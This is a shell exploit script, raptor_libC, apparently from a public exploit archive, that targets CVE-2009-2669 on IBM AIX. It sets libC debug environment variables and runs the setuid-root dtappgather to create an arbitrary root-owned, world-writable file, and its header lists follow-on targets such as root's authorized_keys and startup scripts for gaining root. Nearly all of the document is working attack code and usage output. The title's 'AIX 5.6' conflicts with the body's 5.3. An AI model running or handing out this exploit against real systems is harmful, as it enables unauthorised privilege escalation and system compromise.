IBM AIX 5.6/6.1 File Overwrite

`#!/bin/sh  
  
#  
# $Id: raptor_libC,v 1.1 2009/09/10 15:08:04 raptor Exp $  
#  
# raptor_libC - AIX arbitrary file overwrite via libC debug  
# Copyright (c) 2009 Marco Ivaldi <[email protected]>  
#  
# Property of @ Mediaservice.net Srl Data Security Division  
# http://www.mediaservice.net/ http://lab.mediaservice.net/  
#  
# *** DON'T RUN THIS UNLESS YOU KNOW WHAT YOU ARE DOING ***  
#  
# A certain debugging component in IBM AIX 5.3 and 6.1 does not properly handle   
# the (1) _LIB_INIT_DBG and (2) _LIB_INIT_DBG_FILE environment variables, which   
# allows local users to gain privileges by leveraging a setuid-root program to   
# create an arbitrary root-owned file with world-writable permissions, related   
# to libC.a (aka the XL C++ runtime library) in AIX 5.3 and libc.a in AIX 6.1  
# (CVE-2009-2669).  
#  
# Typical privilege escalation techniques via arbitrary file creation don't   
# seem to work on recent AIX versions: .rhosts is ignored if it is group or   
# world writable; LIBPATH and LDR_PRELOAD have no effect for setuid binaries;   
# /var/spool/cron/atjobs seems useless as well, since we cannot open cron's  
# named pipe /var/adm/cron/FIFO. Other viable exploitation vectors that come   
# to mind, depending on the target box setup, are: /root/.ssh/authorized_keys,   
# /root/{.profile,.kshrc}, and /etc/rc.d/rc2.d.  
#  
# See also: http://milw0rm.com/exploits/9306  
#  
# Usage:  
# $ uname -a  
# AIX rs6000 3 5 0052288E4C00  
# $ lslpp -L xlC.rte | grep xlC.rte  
# xlC.rte 9.0.0.1 C F XL C/C++ Runtime   
# $ chmod +x raptor_libC  
# $ ./raptor_libC /bin/bobobobobob  
# [...]  
# -rw-rw-rw- 1 root staff 63 Sep 10 09:55 /bin/bobobobobob  
#  
# Vulnerable platforms (AIX 5.3):  
# xlC.rte < 8.0.0.0 [untested]  
# xlC.rte 8.0.0.0-8.0.0.14 [untested]  
# xlC.rte 9.0.0.0-9.0.0.9 [tested]  
# xlC.rte 10.1.0.0-10.1.0.2 [untested]  
#  
# Vulnerable platforms (AIX 6.1):  
# bos.rte.libc 6.1.0.0-6.1.0.11 [untested]  
# bos.rte.libc 6.1.1.0-6.1.1.6 [untested]  
# bos.rte.libc 6.1.2.0-6.1.2.5 [untested]  
# bos.rte.libc 6.1.3.0-6.1.3.2 [untested]  
# bos.adt.prof 6.1.0.0-6.1.0.10 [untested]  
# bos.adt.prof 6.1.1.0-6.1.1.5 [untested]  
# bos.adt.prof 6.1.2.0-6.1.2.4 [untested]  
# bos.adt.prof 6.1.3.0-6.1.3.1 [untested]  
#  
  
echo "raptor_libC - AIX arbitrary file overwrite via libC debug"  
echo "Copyright (c) 2009 Marco Ivaldi <[email protected]>"  
echo  
  
# check the arguments  
if [ -z "$1" ]; then  
echo "*** DON'T RUN THIS UNLESS YOU KNOW WHAT YOU ARE DOING ***"  
echo  
echo "Usage: $0 <filename>"  
echo  
exit  
fi  
  
# prepare the environment  
_LIB_INIT_DBG=1  
_LIB_INIT_DBG_FILE=$1  
export _LIB_INIT_DBG _LIB_INIT_DBG_FILE  
  
# gimme -rw-rw-rw-!  
umask 0  
  
# setuid program linked to /usr/lib/libC.a  
/usr/dt/bin/dtappgather  
  
# other good setuid targets  
# /usr/dt/bin/dtprintinfo  
# /opt/IBMinvscout/bin/invscoutClient_VPD_Survey  
  
# check the created file  
ls -l $_LIB_INIT_DBG_FILE  
echo  
  
  
`